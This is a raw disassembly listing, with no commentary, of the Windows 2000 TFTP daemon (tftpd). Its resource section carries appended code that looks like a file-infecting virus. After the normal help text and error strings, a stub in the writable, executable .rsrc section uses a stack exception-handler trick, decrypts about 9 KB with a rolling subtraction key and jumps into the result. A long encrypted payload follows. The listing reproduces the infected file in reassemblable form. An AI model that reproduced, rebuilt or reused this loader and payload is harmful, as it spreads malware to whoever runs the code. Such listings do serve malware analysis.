db '*.txt" ',0Ah
db ' '
db ' ',0Ah
db 'Client: '
db ' ',0Ah
db ' tftp [-i] servername {get|put} src_file dest_file '
db ' ',0Ah
db ' -i from binary mode, else ascii mode is used. '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' ================================================================'
db '======== ',0Ah,0
align 8
aTftpd db 'Tftpd',0 ; DATA XREF: sub_1001665+Bo
; .data:off_1005CB0o
align 10h
off_1005CB0 dd offset aTftpd ; DATA XREF: sub_1001570:loc_1001646o
; "Tftpd"
dd offset sub_1001665
align 10h
off_1005CC0 dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r
; "Error undefined"
dd offset aFileNotFound ; "File not found"
dd offset aAccessViolatio ; "Access violation"
dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded"
dd offset aIllegalTftpOpe ; "Illegal TFTP operation"
dd offset aUnknownTransfe ; "Unknown transfer ID"
dd offset aFileAlreadyExi ; "File already exists"
dd offset aNoSuchUser ; "No such user"
dd offset aOptionNegotiat ; "Option negotiation failure"
align 8
dword_1005CE8 dd 2Ah, 0Dh dup(0) ; sub_10037BF+87o
dword_1005D20 dd 2Ah, 0Dh dup(0) ; sub_100333A+163o ...
dword_1005D58 dd 2Ah, 0Dh dup(0) ; sub_10037BF+EAo
dword_1005D90 dd 2Ah, 0Ch dup(0) ; sub_10037BF+11Ao
dword_1005DC4 dd 1 align 10h
dword_1005DD0 dd 0 ; sub_1001E73:loc_1001F36r ...
dword_1005DD4 dd 0 dword_1005DD8 dd 0 ; sub_1001665:loc_100182Er ...
dword_1005DDC dd 0 ; sub_1001665+8Br ...
dword_1005DE0 dd 0 ; sub_1001E73:loc_1001F0Cr ...
align 8
dword_1005DE8 dd 0 ; sub_1001A91+2B3o
dword_1005DEC dd 0 ; sub_1001A1F+52r ...
dword_1005DF0 dd 0 ; sub_1001A1F+5Ew ...
dword_1005DF4 dd 0 ; sub_1001A91+59w ...
dword_1005DF8 dd 0 ; sub_10018DB+EFr
dword_1005DFC dd 0 dword_1005E00 dd 0 ; sub_1002219+D5o
db 3 dup(0)
dword_1005E07 dd 0 ; sub_1003910+6Br ...
align 4
dd 7Ch dup(0)
dword_1005FFC dd 0 dword_1006000 dd 0 dword_1006004 dd 0 dword_1006008 dd 0 dword_100600C dd 0 dd 4 dup(0)
dword_1006020 dd 6 dup(0) ; .text:01001D78o ...
dword_1006038 dd 0 ; sub_10018DB+34w ...
dword_100603C dd 0 dword_1006040 dd 0 ; sub_1001DEB:loc_1001E35r
dword_1006044 dd 0 ; sub_1001665+DBr ...
dword_1006048 dd 6 dup(0) dword_1006060 dd 6 dup(0) ; sub_1001A1F+2o ...
dword_1006078 dd 0 ; sub_10019F0+Fw ...
dword_100607C dd 0 dword_1006080 dd 6 dup(0) ; sub_100287F+1o ...
dword_1006098 dd 0 ; sub_10018DB+25w ...
dword_100609C dd 0 dword_10060A0 dd 0 ; sub_10018DB+A2r ...
dd 7 dup(0)
dword_10060C0 dd 0 ; sub_1001665:loc_1001857o
dword_10060C4 dd 0 dword_10060C8 dd 0 dword_10060CC dd 0 dd 0Ch dup(0)
dword_1006100 dd 4 dup(0) ; sub_1002219:loc_10022E9o
dword_1006110 dd 0 align 10h
dword_1006120 dd 0 ; sub_1001665+63o ...
dword_1006124 dd 0 ; sub_1001665+D1w ...
dword_1006128 dd 0 ; sub_1001665+E1w
dword_100612C dd 0 ; sub_1001E73+5Aw ...
dword_1006130 dd 0 ; sub_1001E73+60w ...
dword_1006134 dd 0 ; sub_1001665+EBw ...
dword_1006138 dd 0 ; sub_1001665+F1w ...
align 10h
dword_1006140 dd 64h dup(0) dword_10062D0 dd 0 dword_10062D4 dd 0 dword_10062D8 dd 0 align 200h
_data ends
; Section 3. (virtual address 00007000)
; Virtual size : 0000E400 ( 58368.)
; Section size in file : 0000E400 ( 58368.)
; Offset to raw data for section: 00007000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_rsrc segment para public 'CODE' use32
assume cs:_rsrc
;org 1007000h
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
dd 3 dup(0)
dd 10000h, 10h, 80000018h, 3 dup(0)
dd 10000h, 1, 80000030h, 3 dup(0)
dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0)
dd 340374h, 560000h, 5F0053h, 450056h, 530052h, 4F0049h
dd 5F004Eh, 4E0049h, 4F0046h, 0
dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h
dd 3Fh, 0
dd 40004h, 1, 3 dup(0)
dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
dd 66006Eh, 6Fh, 2B0h, 300001h, 300034h, 300039h, 420034h
dd 30h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
dd 65006Dh, 0
aMicrosoftCorpo:
unicode 0, <Microsoft Corporation>,0
aR:
unicode 0, <r%>
dd 460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h
dd 690074h, 6E006Fh, 0
aTcpIpTrivialFi:
unicode 0, <TCP/IP Trivial file transfer daemon.>,0
align 4
a8 db '8',0
dw 0Ch
dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh
dd 0
a5_00_2134_1:
unicode 0, <5.00.2134.1>,0
a4_0:
unicode 0, <4>
dw 0Ah
dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h
dd 65h, 660074h, 700074h, 2E0064h, 780065h, 65h, 280074h
dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h, 690072h
dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h
dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh, 66006Fh
dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h, 310038h
dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h
dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h, 65h, 660074h
dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h
dd 750064h, 740063h, 61004Eh, 65006Dh, 0
aMicrosoftRWind:
unicode 0, <Microsoft(R) Windows (R) 2000 Operating System>,0
align 4
db '<',0
dw 0Ch
dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h
dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h
dd 31h, 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h
dd 6F0066h, 0
dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
dd 6E006Fh, 0
dd 4B00409h, 0Bh dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
call near ptr sub_100741B
call sub_1007494
mov ebp, fs:0
add ebp, 8
jmp loc_1007450
; =============== S U B R O U T I N E =======================================
sub_100741B proc far ; CODE XREF: .rsrc:01007403p
; FUNCTION CHUNK AT 010074C3 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0100753E SIZE 00000012 BYTES
push dword ptr fs:0
mov fs:0, esp
xor edx, edx
push 200h
push edx
push 80000000h
push edx
push edx
push edx
push 400h
push edx
push 4
push edx
push edx
push 80000000h
push edx
call ds:dword_100102C
loc_1007450: ; CODE XREF: .rsrc:01007416j
sub eax, eax
loc_1007452: ; CODE XREF: sub_100741B+3Dj
dec al
or al, al
jz short loc_100745C
jnz short loc_1007452
jmp short loc_10074C3
; ---------------------------------------------------------------------------
loc_100745C: ; CODE XREF: sub_100741B+3Bj
call $+5
pop ecx
add ecx, 40h
mov edi, 243Ch
mov esi, 0A6h
push ecx
loc_1007473: ; CODE XREF: sub_100741B+66j
mov al, [ecx]
sub ax, si
xchg al, [ecx]
inc ecx
inc esi
sub edi, 1
or edi, edi
jnz short loc_1007473
pop ecx
mov esp, fs:0
pop dword ptr fs:0
leave
jmp ecx
sub_100741B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_1007494 proc near ; CODE XREF: .rsrc:01007408p
arg_C = dword ptr 10h
mov ecx, [esp+arg_C]
xor eax, eax
pop dword ptr [ecx+0B8h]
retn
sub_1007494 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 36h, 8Fh, 0A8h
dd 37ABAAA9h, 30A6D2B1h, 0B4B3D6DCh, 38B7B6B5h, 0E5675242h
dd 1C4ABEBDh, 0F137C6E5h
; ---------------------------------------------------------------------------
rcr dword ptr [edi], 50h
; START OF FUNCTION CHUNK FOR sub_100741B
loc_10074C3: ; CODE XREF: sub_100741B+3Fj
js short loc_100753E
rep retf
; END OF FUNCTION CHUNK FOR sub_100741B
; ---------------------------------------------------------------------------
align 4
dd 0F9838656h, 8C53D2D1h, 0D8D7FA04h, 0DFE84FC1h, 0E0030E75h
dd 0E63E6DE1h, 0F0D219E4h, 101C8274h, 23EEEEEDh, 7588474Ch
dd 4FFB1A61h, 7DFBFA33h, 0FFEFFEE0h, 0AF08300h, 93074615h
dd 990F2E85h, 50434AC2h, 1413CB11h, 0BC0A1615h, 7069959Ah
dd 95928785h, 6066AD2Eh, 8E3F2AB2h, 717B62AAh, 1BB036A1h
dd 34333331h, 88C218AAh, 0C70E3DB1h, 8ACA5EAFh
; ---------------------------------------------------------------------------
pop ecx
inc ebp
; START OF FUNCTION CHUNK FOR sub_100741B
loc_100753E: ; CODE XREF: sub_100741B:loc_10074C3j
db 36h
xchg eax, ebp
repne dec ecx
or cl, cl
ror dword ptr [ecx+4Bh], 93h
mov dl, 0C2h
les ebp, [ebx-2Eh]
retf 0A456h
; END OF FUNCTION CHUNK FOR sub_100741B
; ---------------------------------------------------------------------------
dd 0CDBAC5C7h, 63D3DB6Bh, 0D2C3C29Eh, 0DCE46BD6h, 0DBDACB70h
dd 4E70DE69h, 33CCC744h, 0FF977E9Ah, 7BD09AE7h, 8032896Ch
dd 9CF909CBh, 0B80E7D84h, 707A890Ch, 8C8B8A95h, 3FEFAD0h
dd 2F4DAF6h, 98FC02F9h, 257199ECh, 0E0D4DA22h, 0A4B08AA1h
dd 1AEAA6A5h, 111F0B0Eh, 1E1424F2h, 7B3F325h, 3D408CB4h
dd 0BCFBEFF9h, 0C0BFCBA5h, 382809C1h, 3C3A2711h, 3B3D3C0Eh
dd 0CF22CE3Fh, 18585BA7h, 0C0D7160Ah, 0DCDBDA49h, 1539E62h
dd 2878E131h, 6DE7261Ah, 79FB5FA9h, 3000C072h, 0F3437CF1h
dd 0F8F764DDh, 0FB77E5F9h, 40343A92h, 3588F901h, 8074639h
dd 808B0A09h, 45C49B2Bh, 9F135245h, 0BC1B3A91h, 0CEB8A5BEh
dd 0AB1F5E56h, 645CD8D6h, 0E2E4B125h, 892B6A62h, 309988F0h
dd 349D329Bh, 399F369Fh, 0C73B3E39h, 903FA801h, 8CE4EABh
dd 9C9D2844h, 4C4B7DA8h, 2A371780h, 0E1525150h, 9868F7EAh
dd 0ADACAC59h, 0A0F45DADh, 0E763A296h, 0F22A8629h, 8ECA235Bh
dd 809F6E6Dh, 564974B1h, 0BB37396Eh, 0FC903A9Eh, 0E502BEFDh
dd 44C3D785h, 0D02C4905h, 4C8B8A1Eh, 84C05398h, 9DC6D251h
dd 7848D77Fh, 95195FA8h, 0B2D2DE5Dh, 0F6B24AF2h, 6B8926E7h
dd 0A5297F2Ah, 0DE91EE6Dh, 77383888h, 79B7B648h, 0B103AFC2h
dd 354CFE7Dh, 840317FCh, 45544F78h, 8C0B3FA1h, 6EB72CFEh
dd 73D31254h, 0CD6BAB54h, 49C1A99h, 0F4632D7Ch, 2FE32261h
dd 68513AACh, 0AC536D6Ch, 39F72E7Dh, 742802F6h, 0A1C51E75h
dd 0BC653A79h, 0F5C7D37Ch, 48842C1h, 46F8CA94h, 59A2C988h
dd 901F4E42h, 8D02DD91h, 0D8176009h, 0EC1BC71Ah, 75AC5EDDh
dd 0E4637424h, 4A260B98h, 774BD62Ch, 233758A9h, 89C04B71h
dd 0F87790F2h, 78C625ACh, 7E4F5546h, 0EC9A9E08h, 84886C8h
dd 419B1FC8h, 54D28E0Dh, 231317F1h, 97553859h, 1CC531D8h
dd 20C79F47h, 0CE3A2E5h, 2868A6E5h, 61BB3FE8h, 70F4AE2Dh
dd 0B2F83600h, 38E135F4h, 3C7BA249h, 40E9BE01h, 1B8F2AC2h
dd 30D7C76Fh, 4C8CCA0Ah, 85DF630Ch, 5EFBD251h, 0D797D715h
dd 1CD0AAAEh, 60A4461Dh, 388CE221h, 52A66523h, 768EC329h
dd 5AEF897h, 74F327EDh, 0FB7A6720h, 3CF0EAF6h, 4CEFE3Dh
dd 3C28078h, 88C70C2Dh, 501FD849h, 0FCFDA99h, 54089AE6h
dd 8B8CA355h, 0CFDBDA70h, 0F09CAB26h, 55E3E296h, 6ECFB970h
dd 2FEB2A6Bh, 7024A62Ah, 38023271h, 37F6B478h, 0F1CFBF04h
dd 0B0FE3EBDh, 5988D182h, 530706B8h, 8C40B20Eh, 0D17FCD8Dh
dd 7F5D720h, 5DA256D5h, 0DC5B8F71h, 6F204E9Ch, 0A456CB26h
dd 44B4F1A5h, 4F2B2ADEh, 0F1A0EDB6h, 2729F740h, 6A1F76F5h
dd 893AF9B6h, 0C0754C7Ah, 0EE120DC1h, 8720FCC5h, 6DCE8E39h
dd 138F78D0h, 14BD69CAh, 0CDE4AE3Fh, 1C9BAF78h, 205FBA96h
dd 0B1372DE1h, 0A76573E9h, 0D7D129E8h, 30BCB27Ah, 1A73B2F1h
dd 3CBE43A0h, 0E85FECA4h, 0BB616963h, 92EBC26Bh, 0D387C66Eh
dd 0D78BB4D5h, 388FB8D1h, 5C93D211h, 2AE8967Fh, 0DBEBE883h
dd 20D43EB2h, 0A826BA21h, 5175CE65h, 0C036EA29h, 0BC3AEE97h
dd 741DB29Bh, 6209F89Fh, 6589E239h, 8029FE3Dh, 54C2EC92h
dd 0BDAB9B44h, 652A0A89h, 14DE8DD2h, 13D28F78h, 0A8D7CBE2h
dd 90941A99h, 2BDF1E67h, 25889550h, 68F72652h, 7870B769h
dd 2FEFEE81h, 1488BF51h, 8AF7F68Dh, 0F197CF78h, 0D6E73EBDh
dd 90034281h, 0BD7235F4h, 0B57D1AF9h, 0B57B3703h, 0B56937F8h
dd 997C4B01h, 711A2A99h, 0E05F93E5h, 196FE72Ah, 0BC7766E5h
dd 6B958A13h, 251B03ACh, 34B872F1h, 8E766B14h, 0D2917C23h
dd 1A9D248h, 454EA13h, 0ED9A86C5h, 1AD6F0Dh, 0F9C15E34h
dd 0F9BF7B47h, 0EE577B3Ch, 51A72FD8h, 64EA9E1Dh, 0F4B97837h
dd 0BD667D3Bh, 2CABDFB9h, 77FF270h, 69AF47F0h, 38E1B635h
dd 0D17ABC63h, 40BFF36Dh, 4484EABAh, 0A9B25D05h, 20AFD692h
dd 0FC244D64h, 87939246h, 943C590Bh, 5C9B9A4Fh, 0F59EB571h
dd 64E317D1h, 441B26AAh, 70A96D6Fh, 64AE5C9Fh, 741DFA55h
dd 0DB6209Fh, 7CFB2FE1h, 0DC333EC2h, 88006AD4h, 0D1FA0645h
dd 0C5FB6DDAh, 50054AD2h, 15FB0751h, 98E4C416h, 6C2FEA59h
dd 702FEFB3h, 8C78A1B4h, 2DE7E69Ah, 0BB5F0329h, 0B813226Ch
dd 0EA2FB700h, 64DF36B5h, 8FFAB976h, 0F53BD37Ch, 5CEE42C1h
dd 0C92F8A06h, 4B624A89h, 90448A22h, 4FF8BB91h, 0A1A4D594h
dd 0B4733299h, 0E048AC9Dh, 0E43047A1h, 0E82767A5h, 0EC2B6AA9h
dd 0F02F6EADh, 0C78943B1h, 2D7F0BB4h, 0D5E67AF9h, 0F5FF0269h
dd 4731E4BCh, 0FBA84821h, 0F9AC582Eh, 0F29E7232h, 8B6773Bh
dd 4BAE7248h, 5B1790Bh, 20D4924Fh, 16D7954Dh, 28D58B51h
dd 0DD09C2Ch, 19B59361h, 34B4975Dh, 19DCA838h, 25C19F6Dh
dd 21CCA369h, 32ECB271h, 0B87876Ch, 40ECAF7Bh, 3F019E72h
dd 4706B774h, 4ADAD656h, 410FBB7Eh, 4F0CC36Fh, 4CF7C795h
dd 4C08CB97h, 511DAD29h, 4414E28Eh, 5518E499h, 6AFAF699h
dd 612FDB9Eh, 6C2EED91h, 742FE7A9h, 761A3878h, 743EFAAAh
dd 55CF02BCh, 6847FBC9h, 793C08BDh, 85211ABDh, 893303C9h
dd 933707CEh, 9C5A1FB8h, 953F17CEh, 77EF13DAh, 9D3926D6h
dd 0AC381BE1h, 9E642CEDh, 0B36432F2h, 0A94A42C2h, 0B4700CF9h
dd 0C6741DEEh, 0B5564EF2h, 0C07C1805h, 0C5802AFAh, 0C1625AFEh
dd 0C48E2B11h, 0AC884E16h, 0D48B5406h, 0B32B2B0Eh, 0D5836212h
dd 0DD79621Eh, 0D9855B21h, 0FC7C5F26h, 0D4B36304h, 0D4B36F26h
dd 0C9AF7A26h, 0B051C9h, 3C17323h, 14C1813Ah, 0EECB7B1Ch
dd 5CE8C3Eh, 18A48C4Ch, 13AFA222h, 11B38A46h, 1ECC9C4Bh
dd 0FD6F6F66h, 1DC9A252h, 1EC6AD5Ah, 21E7A33Fh, 25EF8DFDh
dd 30EC886Fh, 38E8936Ah, 33F9B379h, 40DECE4Eh, 46E3C076h
dd 4BFCB984h, 4EEBDA8Ch, 5304C18Ch, 2AD51594h, 5C1AD88Eh
dd 5B1DBA29h, 6322D390h, 59012464h, 4BB7EAADh, 6501EE9Eh
dd 7400E3A9h, 662CF4B5h, 7B2CFABAh, 711E0A8Ah, 7C38D4C1h
dd 813CE6B6h, 842A16BAh, 9C4BFFBEh, 945217B0h, 8D370FC6h
dd 973B0BD2h, 915713AFh, 955C17C1h, 0A1610771h, 0A14D26D6h
dd 0A24A31DEh, 0A56B27C3h, 0B66C1881h, 0B4683BF9h, 0BB7736CAh
dd 0C2664EF0h, 9A7846FAh, 0D87C42FEh, 0C05C4EE7h, 0D4925307h
dd 0DA8C54F1h, 0CF8C520Eh, 0DB7F5D0Eh, 0F09D5318h, 0E67666FFh
dd 0DDAB571Ah, 0E1A763FFh, 0C3B34CBDh, 0F8A46733h, 0F7B9562Ah
dd 0FFBE6F2Ch, 0D3C35CCDh, 8B47743h, 7C9663Ah, 0FCE7F3Ch
dd 0EE5F9622h, 9D56555h, 0FBCC9A46h, 15DF8D4Eh, 0FE6F9C5Ch
dd 24D47F65h, 2FDC9F4Bh, 21CEA048h, 2FE8B260h, 38D1C26Fh
dd 36ECB654h, 31F7B34Fh, 1F039C0Dh, 2401B781h, 3DFAC587h
dd 4BEFCD8Ch, 600DC388h, 56F3D66Fh, 4B0CDA94h, 5E14C09Dh
dd 5C10E3A1h, 6320D77Eh, 46B7EFA7h, 652DD1ADh, 6915E3B1h
dd 6538F6B3h, 752CD3B1h, 8C44FCB8h, 653B029Fh, 8336FBBFh
dd 8C2AFBB9h, 834903CBh, 8E200DB1h, 98360BD4h, 8F550FD7h
dd 6D3E0169h, 0A25022C0h, 0B46327E5h, 0AB6622D8h, 9F6A2DDEh
dd 0C07323E8h, 0B27131E4h, 0C87B29EAh, 0B47F2FF0h, 0B28341FCh
dd 0C174400Ah, 0BD8956FAh, 0CF1B50FCh, 0E0834C02h, 0CF865114h
dd 0B1275A0Ah, 0DE905E17h, 0B3A3531Bh, 0D9A6611Dh, 0DCA557FDh
dd 0C53B5F25h, 0F2A4722Bh, 0CBB7672Fh, 0F78A7A2Ah, 0EFB07837h
dd 0E3B37341h, 0F9C77345h
dd 0CC55FD5h, 1C98C3Eh, 5CF6D51h, 0ED63634Fh, 1ACC9A53h
dd 0FBDF8F57h, 5DD935Dh, 34B49E63h, 1DEBA43Eh, 30E0A86Bh
dd 24E0A34Fh, 29EFAB47h, 1ECB8705h, 7FD49A4Ah, 1CD3FC3Fh
dd 39E5D25Dh, 4703997Ch, 41E6BF8Ch, 45F1DE96h, 4913B188h
dd 610CB193h, 6CECE26Eh, 4116D37Fh, 6D25D7A6h, 6D23D78Bh
dd 3D33BF9Eh, 6724D03Dh, 5A37E794h, 6D3CF2A6h, 8C0C028Eh
dd 0BBD477D0h, 943BE319h, 25BF1655h, 86DE3EA5h, 71E4085Dh
dd 0A94DF5B1h, 333772F0h, 963FFA3Dh, 8341FFADh, 0E9E3C770h
dd 0FC7A36B5h, 3090B985h, 43FFFEB2h, 9BC64A45h, 0DDB8CB12h
dd 4B3E4AC9h, 0BA0F38DDh, 78A8D19Fh, 5D1716CAh, 6C9F6959h
dd 0B01F5E9Dh, 0E48CB009h, 0D2FBF1A5h, 0D6F7F5A9h, 0F02F56EDh
dd 0F69D72C1h, 0E0376007h, 0FC3B6387h, 0D3907E27h, 68D80111h
dd 0E74746FAh, 48E00922h, 954F4E02h, 9FAF86D0h, 0D86C1E62h
dd 0A967FDD9h, 0E06F9E72h, 0FB34A5E1h, 0B3392538h, 0ECA0FE6Eh
dd 0C4FE3BEDh, 9C73B214h, 0B7763549h, 71633F84h, 0CF0CBE3Dh
dd 4483E5E2h, 0C78689EDh, 0A4105508h, 0DD8F8E42h, 54B63AA0h
dd 0D7C93E15h, 0E1265918h, 60DF13F9h, 6F1722A6h, 8B9C75B2h
dd 8993EA29h, 0FBAE6D2Ch, 4976D1F8h, 78B7F61Dh, 0E93CD739h
dd 80FF1851h, 9504B74h, 880723F3h, 5D1CDE9Ah, 0F20DF9Dh
dd 5408FEE6h, 0BCDB9D55h, 0D117AF58h, 0E23C1E9Dh, 0C382265h
dd 0A8E72665h, 6FD8ABC6h, 9AEFEE87h, 0C288BF70h, 88F7F68Fh
dd 0E01B87CBh, 43FF687Dh, 0B694E45h, 88211A0Ah, 132B9789h
dd 90292412h, 0FE137691h, 0C2DA3395h, 5B1C449Ah, 0E492DDD0h
dd 24A877A0h, 0F38FD619h, 772B6AA9h, 0C032497Dh, 0E6E8FFEDh
dd 833736CFh, 0FC3C8673h, 8C909BDh, 74382C2h, 0E812B1BDh
dd 0B23ED554h, 0D754822Eh, 563E07B3h, 0EF66DD58h, 0A7AEEE64h
dd 0AB36EA9h, 0EB57321h, 98FC25E4h, 0AF6B6A1Eh, 0C5FABAB1h
dd 34B3E765h, 0A2FA0D20h, 26820100h, 0C97F26FDh, 2E46C558h
dd 516F9E1Fh, 0D98BCA09h, 0CE39AF4Fh, 9783C7DAh, 8EDD6B7Eh
dd 0E0A0DA59h, 0E9E1E625h, 24D9A8B6h, 0AB895D25h, 6CAB527Eh
dd 0F10CEE2Dh, 34CEFB1Eh, 42548135h, 0FFBBBA6Fh, 80C722B9h
dd 847C8650h, 0F4480645h, 8CCB0C51h, 91D3F6A1h, 29D21251h
dd 98174BE5h, 206896E4h, 0A0E02281h, 0A44DF261h, 0A8E72A4Dh
dd 803D0069h, 45EE056Dh, 0B43367FDh, 4F847FA8h, 0BCFB3B7Dh
dd 0C2690FCEh, 0AC042CD2h, 88074685h, 0A8A0C9DBh, 660F0EC2h
dd 0AF87C816h, 0DC7F2AE5h, 0B31B5A9Ah, 43129Ch, 632362A3h
dd 0A85D8E3Ah, 2CB043A9h, 4128421h, 0DE07FD01h, 0CF8848B5h
dd 48D0F90Fh, 0D93F3EF2h, 54B8C246h, 44DC051Bh, 994B4AFEh
dd 0E7A15224h, 0A1AB563Bh, 18589A6Ch, 5C8E45D9h, 93B8AE47h
dd 0F4B3728Ch, 0F8B77635h, 1000293Bh, 0B16F6E22h, 3475BAB5h
dd 5CEB35F5h, 54103901h, 137F7E33h, 7A9B5700h, 8AE4C645h
dd 8A0BCA0Dh, 1690C317h, 69175F9Ch, 717AD655h, 6C9B6FA6h
dd 0B1A2DE5Dh, 0E8756177h, 872FF5E5h, 7BABEA2Ah, 70B0FEB1h
dd 0AEF17231h, 0F8FD06AAh, 0CAFA77h, 80BFFF3Eh, 79E340C1h
dd 0C648CC36h, 5319D399h, 0DF5AD0C2h, 63D4D817h, 82286480h
dd 6F31EB59h, 0D6EFB35Ch, 0DF3C22A1h, 76C3526h, 39EB2A69h
dd 700CD0F2h, 9CF31C71h, 0B8F73681h, 51FA0DC9h, 0C03F748Dh
dd 0C4034EBEh, 878C5585h, 350B4A89h, 0D00F4E3Eh, 0A6639012h
dd 5D262CDEh, 0DC1B5A3Eh, 8C27A420h, 68326FDDh, 0E827663Eh
dd 5FA08AE5h, 0FF69AA59h, 0F433FE36h, 184423B5h, 395B9AD9h
dd 0F4A465DEh, 40EF8136h, 89C37BE5h, 0F46B0947h, 1C48241h
dd 4569052h, 0D86C50Fh, 9BA2E041h, 0DA90ADDDh, 2463C9F1h
dd 0A7B908DCh, 0ECA0667Eh, 2FE1EDh, 9CC38241h, 3877B6FEh
dd 2AF2A93Dh, 24E0AD69h, 64184101h, 0CD87863Bh, 7FC1BEC9h
dd 1A1457D6h, 25939247h, 5899D67Dh, 32ECAB99h, 84345D6Dh
dd 0F1A3A257h, 28C2E9BAh, 0B5DEBA29h, 42FFBF81h, 9B2C382h
dd 78F72BA1h, 0FBDFFEC0h, 40F43AD2h, 4867A41h, 48DCFDD2h
dd 0CFC40B49h, 6415DDA0h, 5925D3A8h, 7B40E3B1h, 8B4E09CBh
dd 773B12C3h, 934710CAh, 6B4319DCh, 915D1CDEh, 954522DBh
dd 0A35C25E3h, 0B03C12E3h, 0AE6A26E9h, 94FF30E2h, 0A96A34E2h
dd 0BB760EF9h, 0CC0D4AFDh, 0D00FBE8Ch, 0C6835291h, 0C5804E04h
dd 0BF8D43C7h, 0C18B3F04h, 0D4515B19h, 0B1756611h, 0D94B35ECh
dd 0E3A3681Fh, 0FEA46C23h, 0CA7C490Ah, 2E6B73D9h, 316FB3EDh
dd 3263B0E1h, 0D274C0E5h, 2C995318h, 2B884F3h, 0E95D8745h
dd 185796BDh, 89DC77D9h, 209FBB91h, 39DA27A7h, 0A767A625h
dd 0ECA03E7Eh, 4F57EFEDh, 52DDEE65h, 6DC76B80h, 0E8D4BA39h
dd 6AF4EC39h, 0C3C14367h, 0D5AABB22h, 0CC18AC6h, 5205590Dh
dd 0F9F97768h, 8B015BA2h, 0E12ADA59h, 60DF11ADh, 0DEE96B1Bh
dd 0E3A5B4B1h, 0BB8DEBDAh, 0F53CB118h, 74F307E2h, 62B7E085h
dd 20507947h, 3BFBE72h, 88CB26BDh, 8CAF31BAh, 5FCB0A49h
dd 0FCFD193h, 54089AE6h, 141F7E55h, 0A3C39958h, 73DF1E5Dh
dd 7342E5A7h, 3DE626B8h, 0AC2B5FF1h, 2FEB5F55h, 27499A70h
dd 45F6B574h, 0BC3B4D7Ch, 0C0FF4965h, 89561781h, 0F63979D7h
dd 0CC5716CDh, 5ABE38Ch, 0DEFB52D1h, 0CF175695h, 0C58D4A0Ch
dd 0A185520Bh, 792232A1h, 0E8679BEDh, 217FEF32h, 213E6EEDh
dd 0C13FF3Eh, 7DC076F5h, 0FC7BB0FFh, 9CD4FD0Eh, 974342F6h
dd 8478A2Dh, 790017C9h, 0E94F4EE5h, 4A7F4F5Eh, 6E3F9615h
dd 25A19CFh, 3DC623A4h, 9462A221h, 45D04B68h, 0B96BAA29h
dd 0F08CD582h, 1EC782F1h, 0A77A0F6h, 3C7BBC61h, 70143D7Dh
dd 0C9838237h, 6AFCA0C5h, 69E55796h, 3AE1CE4Dh, 3B485F17h
dd 2C979632h, 2DEBAA6Fh, 94345D6Fh, 3CA3A257h, 9ED37B24h
dd 0F171EA69h, 70EF267Ah, 74BF5A31h, 4B0EF635h, 0AF06BD88h
dd 4C032C6Fh, 19C2028Dh, 88073BE1h, 8CD2F2DCh, 455C0E4Dh
dd 94132A95h, 1494A3AEh, 4DBDA8Eh, 1FDE94AEh, 0A4E32E49h
dd 7630FD65h, 8030F8B2h, 7C3BF29Bh, 5088B171h, 3DF7F6AAh
dd 237F4939h, 53FF3E7Eh, 0C40347E9h, 4ABCD385h, 0A50B0AA1h
dd 6270B1Ah, 0EEFB52D1h, 5B16D58Bh, 9C517656h, 642E5E9Dh
dd 0E4236363h, 0E9B7D226h, 0D47F6AA9h, 0F02F6FAEh, 292F07B0h
dd 3CB876F5h, 0FC3B7B49h, 0EA13090Dh, 994254C1h, 887BCE1h
dd 1A4CA4Eh, 23D776DAh, 0A95292D1h, 1897CB91h, 0D9DEFCC4h
dd 209FBB46h, 0B18C97E1h, 0E884936Ah, 0C16A7AE9h, 30AFE4F5h
dd 0B882F276h, 3877B730h, 0C7877A84h, 0CFAF3DFDh, 4A0AB86h
dd 150C0C05h, 4D8B8A41h, 51F9CE77h, 0E992D47Bh, 58D70C29h
dd 6B9A529Ch, 60A0F0A1h, 0F9307521h, 68E7038Ah, 3FFDFA93h
dd 0A6B3832Ch, 0B438F271h, 78A97B44h, 3948FA39h, 80FF1BC3h
dd 40AB0AF2h, 70C6853Fh, 8CCB0ADDh, 19B539ABh, 13273685h
dd 580CAEEAh, 3098A759h, 51DFDE7Ah, 1E808A62h, 6C72A564h
dd 0CAC3A8Dh, 0D4333975h, 0BCD37375h, 0C01BFA80h, 0BC00A2C9h
dd 0EE243E7Dh, 9B033AB7h, 0FD5BDB84h, 108E4AC9h, 0D6569499h
dd 55A8DFB1h, 0C21716B2h, 0DC3C4299h, 0B3715E9Dh, 1A33F7A0h
dd 0E4B466E5h, 6B827ECDh, 0B0644642h, 2C37B8B1h, 0F8A136BFh
dd 7B8E5109h, 0C0758E52h, 912985C1h, 0C8642882h, 0F44B74C9h
dd 104F8ED9h, 0A9526528h
dd 1897CCE5h, 1C5BA616h, 0ADAC93DDh, 0E4997096h, 0F5F433E5h
dd 576B6A21h, 16F98BBh, 0C9728547h, 38B7EC01h, 3A7B327Ch
